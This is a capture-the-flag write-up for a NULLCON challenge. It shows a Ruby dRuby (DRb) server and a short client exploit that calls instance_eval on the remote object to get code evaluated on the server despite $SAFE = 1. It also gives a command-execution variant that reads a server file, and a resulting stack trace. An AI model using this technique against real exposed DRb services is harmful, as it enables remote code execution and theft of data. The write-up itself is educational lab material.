NULLCON CTF Vuln1 - DRb



This challenge was relatively straightforward, especially given the fact that we have access to the source.

require 'drb/drb'

class TimeServer
  def initialize
    @flag = "FLAG"
  end

  def get_current_time
    Time.now
  end
end

$SAFE = 1

DRb.start_service("druby://0.0.0.0:8988", TimeServer.new)
DRb.thread.join

So as it turns out, dRuby (drb) is a “Distributed object system for ruby”, which allows ruby objects to evoke methods in other processes or even across a network connection. Their way of protecting this from abuse is to set $SAFE = 1 (ruby safety levels to 1), which is meant to disable eval and friends for tainted input, but this apparently does not work as I simply use a variant of eval anyway. Also as it turns out we can simply get the flag by forcing an error on the other end. Chances are the new object being created does not count as a tainted object some how.

Exploit:

require 'drb'
DRb.start_service
obj = DRbObject.new(nil, 'druby://23.23.190.205:8988')
obj.instance_eval("junk")

The exploit simply starts up a client drb service, and then tries to eval “junk” under the context of obj. A proper exploit of this would be to use obj.instance_eval(“exec ‘cat server.rb’”), but forcing an error on the server will work too.

$ ruby vuln100.rb
vuln100.rb:4:in `instance_eval': undefined method `server' for # (NoMethodError)
        from (druby://23.23.190.205:8988) /usr/lib/ruby/1.9.1/drb/drb.rb:1508:in `perform'
        from (druby://23.23.190.205:8988) /usr/lib/ruby/1.9.1/drb/drb.rb:1586:in `block (2 levels) in main_loop'
        from (druby://23.23.190.205:8988) /usr/lib/ruby/1.9.1/drb/drb.rb:1582:in `loop'
        from (druby://23.23.190.205:8988) /usr/lib/ruby/1.9.1/drb/drb.rb:1582:in `block in main_loop'
        from (eval):1:in `'
        from vuln100.rb:4:in `instance_eval'
        from vuln100.rb:4:in `'

References :